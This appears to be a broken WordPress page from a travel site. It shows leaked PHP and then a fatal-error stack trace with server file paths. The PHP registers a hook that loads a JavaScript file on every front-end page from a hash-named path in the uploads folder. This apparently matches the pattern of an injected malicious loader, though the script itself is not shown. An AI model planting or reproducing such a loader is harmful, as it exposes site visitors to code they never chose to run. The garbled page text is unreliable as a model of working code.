if (!function_exists('sch_enqueue_front_asset')) {
    function sch_enqueue_front_asset() {
        wp_enqueue_script('sch-front', 'https://viator.com.eg/wp-content/uploads/static-08c90e/lib-c2ff/front-b2ad1f6d.js', array(), null, false);
    }
    add_action('wp_enqueue_scripts', 'sch_enqueue_front_asset');
}
<br />
<b>Fatal error</b>:  Uncaught Error: Call to undefined function travivu_get_options() in /home/viator/public_html/wp-content/themes/travivu/header-default.php:11
Stack trace:
#0 /home/viator/public_html/wp-includes/template.php(816): require()
#1 /home/viator/public_html/wp-includes/template.php(749): load_template('/home/viator/pu...', false, Array)
#2 /home/viator/public_html/wp-includes/general-template.php(206): locate_template(Array, true, false, Array)
#3 /home/viator/public_html/wp-content/themes/travivu/header.php(18): get_template_part('header', 'default')
#4 /home/viator/public_html/wp-includes/template.php(814): require_once('/home/viator/pu...')
#5 /home/viator/public_html/wp-includes/template.php(749): load_template('/home/viator/pu...', true, Array)
#6 /home/viator/public_html/wp-includes/general-template.php(48): locate_template(Array, true, true, Array)
#7 /home/viator/public_html/wp-content/themes/travivu/page.php(11): get_header()
#8 /home/viator/public_html/wp-includes/template-loader.php(132): include('/home/viator/pu...')
#9 /home/viator/public_html/wp-blog-header.php(19): require_once('/home/viator/pu...')
#10 /home/viator/public_html/index.php(17): require('/home/viator/pu...')
#11 {main}
  thrown in <b>/home/viator/public_html/wp-content/themes/travivu/header-default.php</b> on line <b>11</b><br />